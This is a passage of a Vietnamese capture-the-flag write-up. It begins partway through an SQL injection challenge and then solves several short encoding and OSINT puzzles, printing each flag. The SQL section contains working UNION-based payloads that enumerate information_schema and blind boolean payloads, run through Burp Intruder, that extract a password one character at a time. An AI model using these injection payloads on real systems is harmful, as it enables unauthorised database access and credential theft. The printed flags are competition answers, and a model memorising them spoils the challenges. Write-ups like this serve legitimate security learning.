- Với 2 đối số đầu tiên, ta thay
Null
bằng chuỗingn
, nhấn send và sản phẩm củaNULL
cũng trả ra 2 chuỗingn
. vậy ta sẽ khai khác theo 2 đối số này
Vậy thì bây giờ làm sao để tìm được Flag? Chắc chắn cái bảng chứa Flag nó sẽ nằm ở đâu đó trong tables
, cột chứa Flag sẽ nằm đâu đó trong columns
.
Vậy thì tiếp tục đi tìm các table_name
và column_name
thôi.
Nhưng tìm như nào? :(
Tìm
table_name
trongtables
:
- Ta có truy vấn:
category=women'union+select+table_name,null,null,null+from+information_schema.tables%23
- Ném payload lên truy vấn ta thấy một đống tên bảng được hiện ra:
- Giờ thì tìm bảng nào có ích thôi :(
- Khi kéo đến cuối ta tìm được 2 bảng khả nghi là
products
vàsqli_blind
products
thì chắc là bảng chứa sản phẩmsqli_blind
có thể là bảng chứa flag. Note lại tên bảng làsqli_blind
cho khỏi quên :(
Giờ thì đi tìm tên cột:
- Ta có truy vấn:
category=women'union+select+column_name,null,null,null+from+information_schema.columns%23
Ném payload lên truy vấn ta thấy một đống tên cột được hiện ra, kèm với đó là rất nhiều cột fake, kéo xuống dưới cùng, ta tìm được các cột quan trọng như:username
,password
=> Flag chắc chắn nằm trong đây luôn =))category
,image
,price
Giờ thì sao?
Ta đã tìm được tên bảng là sqli_blind
, tên 2 cột là username
, password
.
Cùng với 2 đối số chấp nhận kiểu string, select
chúng ra thôi chứ còn gì nữa :))
=>Payload:
category=women'union+select+username,password,null,null+from+sqli_blind%23
Nhưng đời không như là mơ, cứ tưởng thế là xong thì auth lại chặn truy vấn, cũng phải thôi, đề bài là sqli_blind
mà :(
Hiện tại, ta đang có table_name
= sqli_blind
, username
= myFlag
và password
= ''
Nhiệm vụ bây giờ là đi tìm password
.
Auth nói là không còn gì ở đây nữa, thì bạn cứ tạm tin là như vậy đi, với lang thang ở trang này cũng đã quá đủ rồi, trở lại trang đăng ký đăng nhập để khai thác Blind
nào :(
Blind
nôm na là cách để đưa dữ liệu vào 1 hòm đen mà ta không biết trong đó nó xử lý thế nào, bằng cách đưa tất cả các trường hợp có thể có vào và so sánh kết quả đầu ra của chúng với điều kiện đúng, nếu đầu ra khớp với điều kiện đúng thì tương ứng với dữ liệu đầu vào của nó cũng là đúng. Nghe giống bruteforce
nhỉ :( .
Tức là bây giờ ta cần bruteforce
ra password
Nhưng trước hết ta cần biết độ dài của password
bằng bao nhiêu.
- Đưa request vào repeater để kiểm tra payload có chạy chuẩn không :(
Vậy là ta đã xác định được truy vấn đúng, tiến hành đưa request vào intruder, để tìm độ dài password
.
- Trong intruder
- Tạo payload như trong
repeater
và thêm nội dung cần kiểm tra là độ dàipassword
: -
username=asd'+and+(select+'isp'+from+sqli_blind+where+username='myFlag'+and+length(password)=§1§)='isp&password=asd&login=
- Thêm 1 biến chạy như trong hình.
- Cho biến
run
chạy từ 1 -> 100 (chắc password chỉ tầm 100 đổ về thui )
- - Nếu như độ dài của
password
đúng bằng giá chị chạy cả biếnrun
thì nội dung trả về sẽ làlogin success
, nếu không thì làusername or password is wrong
. - Vậy để dẫn nhận biết là request gửi đi là đúng hay sai, ta thêm
grep-match
với nội dung'success'
-
Nhấp
start attack
Tiếp theo đi tìm password
bằng cách cắt từng kí tự của password
từ ký tự đầu đến ký tự cuối, để đem so sánh với bảng chữ cái từ a->z
và 0->9
.
Mục đích của việc này là ta chỉ có thể đem so sánh ký tự, kết quả đúng thì trả về login success
, sai thì username or password is wrong
.
Payload:
username=asd'+and+(select+substring(password,§1§,1)+from+sqli_blind+where+username='myFlag')='§c§&password=asd&login=
-
Biến
§1§
đề cắt kí tự thứ§1§
củapassword
ra,password
như 1 xâu ký tự, mỗi ký tự sẽ được đem so sánh với biến§c§
-
Chọn kiểu tấn công là
cluster bomb
-
Biến
$1$
chọn payload type làNumbers
chạy từ1->60
, vì length password = 60; -
Biến
§c§
chạy payload type làBruteforce
từa->z, 0->9
-
Mỗi một ký tự được cắt ra bới chỉ số
$1$
sẽ được so sánh với tất cả giá trị tronga->z, 0->9
-
Nhớ
grep-match
cụm từsuccess
để biết ký tự nào đượcblind
đúng. -
Cuối cùng nhấn
start-attack
-
Nếu bạn không có burpPro thì khoảng vài tiếng sẽ cho ra kết quả sau:
-
Loại bỏ tất cả các hàng không match được với
success
-
Sắp xếp lại
payload1
từ 1->60 đi kèm vớipayload2
- - Những 60 ký tự cơ, sau đó thì copy lên kt.gy để dehex vậy là ta có Flag :> -
Flag:
ISPCTF{Bl1nd_brut3f0rc3_01fg6}
Đôi khi code bẩn cũng cần được bóc tách mới tìm thấy được tinh hoa. Bạn có đủ kiên trì chứ???
Theo như tên đề bài chúng ta hãy lên GOOGLE tìm tên tool basecrack
Giải mã liên tục lặp đi lặp lại với Basecrack. Cuối cùng, ta sẽ tìm ra được flag
Flag: ISPCTF{1_you_kn0w_Base_Crack}
Một chút nữa thôi là chúng ta có thể lấy được kho báu để đối phó với Xipan rồi. Tiến lên thôi nào các bạn!!!
Mở lên thấy 1 đoạn mã lạ
Dựa theo đề bài, mình tìm tool decode Caesar và xử lí mật mã với key=5 có được flag
Flag: ISPCTF{h3ll0_ISP_1337}
Không ngờ rằng xipan lại cẩn thận thế này. Bốp và các bạn phải cố gắng hơn thôi.
Challenge này cung cấp một đoạn mã khá ngắn. Nếu như không nhận diện được ngay đoạn mã là gì thì có thể dùng google để tìm các trang web có thể giải mã:
Có thể vào luôn trang web đầu tiên để thử, ở đây mình thử paste tên của challenge vào để thử tìm ra được gì:
Mình tìm thấy khá nhiều mã có tên gần giống với lại tên challenge. Mình chọn mã UU
để thử và tìm ra flag:
Flag: ISPCTF{UU_3ncode_not_UwU}
Ôi, chúng ta phải làm gì để có thể kết nối với Bốp đây?
Mở file lên nhận ra được đây là mã Morse. Sử dụng tool này để đọc được mã Morse đó. Nhận kết quả:
Flag: ISPCTF{HOW_CAN_YOU_FIX_IT_?}
Hừm, các dấu chân khả nghi rải rác quanh đây! Nhất định tín hiệu ở đâu đó không xa.
Đề cho ta 1 đoạn text với dòng chữ:
aHR0cHM6Ly93d3cuaW5zdGFncmFtLmNvbS80Y2MzZXNzX20zLw==
Với kinh nghiệm của mình thì mã có dấu "=" ở cuối thì 90% là Base64 rồi!, mình decode và nhận được:
Sau khi quét thì nhận được 1 bức ảnh với 1 dòng chữ bên dưới trông có vẻ giống form Flag nhưng đã bị mã hóa
Link dẫn tới trang cá nhân instagram của 1 hecker lỏd, hắn bảo rằng "Đố anh bắt được em"
Phần tiểu sử có chứa các đoạn mã, đoạn 173 83 80 67 84 70 123 99 52 84 95 77 51
mình đã đoán được đây là mã Decimal, decode thì ra được đoạn đầu của Flag:
Còn đoạn mã phía sau chắc chắn là Base64 rồi, decode thì ra được:
Link dẫn tới 1 trang web lại có thêm thông tin:
Khúc này, cứ ngỡ như mình đã tìm thấy đoạn còn lại của Flag, nhưng không, sau khi thử hơn 50 lần thì nó vẫn báo WA... Phía bên dưới còn 1 đoạn mã Base64 nữa nên mình sẽ tiếp tục nghiên cứu thêm nó, mã hóa thì ta đc 1 đường link dẫn tới 1 bức ảnh:
Phần tiêu đề của link này là "9R34t_w4y" làm mình lại bị mắc cú lừa lần 2, thử hơn chục lần vẫn sai... Nhìn thấy ảnh ông chú áo vàng đã bị quay sang trái với 1 tay là chữ "DEC" và 1 tay là chữ "RAIL". Ngẫm 1 lúc lâu thì mình cũng đã hiểu được ẩn ý của tác giả: đó là Flag được ghép từ 2 phần. Một phần là mã Decimal từ ban đầu, và phần còn lại là "_un1__4?fC}" chắc chắn bị mã hóa bằng code "Rail Fence". Tốn 100 xu mua hint thì mình đã có key để giải bằng 3. Lúc này mình chỉ việc decode và sub flag thôi :D
Flag: ISPCTF{c4T_M3_1f_u_C4n?}
Xipan đã tạo ra mê cung nhằm đánh lạc hướng chúng ta, các bạn hãy theo Bốp để không bị lạc nhé!
Tác giả đã cho ta 1 bức ảnh trông khá ngộ nghĩnh, trông khá giống là 1 mã QR, nhưng khi quét thì không được gì?? Lúc này, hint nói rằng "Bạn có biết định dạng chuẩn của 1 mã QR không?" thì sau 1 hồi học về QR thì mình biết mã này bị khuất mất 3 ô vuông định vị ở 3 góc. Việc cần làm lúc này là chèn thêm 3 ô vuông đó vào cho đúng vị trí của nó thôi :D Sau khi photoshop thì ta đã có 1 mã QR hoàn chỉnh:
Sau khi quét thì nhận được 1 bức ảnh với 1 dòng chữ bên dưới trông có vẻ giống form Flag nhưng đã bị mã hóa
Lúc này mình mới nhớ tên Chall là ROTTOR nên chắc rằng nó có liên quan tới chìa khóa để giải mã dòng chữ kia, tra thêm 1 tí thì mình biết nó được mã hóa bằng mã ROT13
Flag: ISPCTF{0h_mY_90D_y0u_931_i1}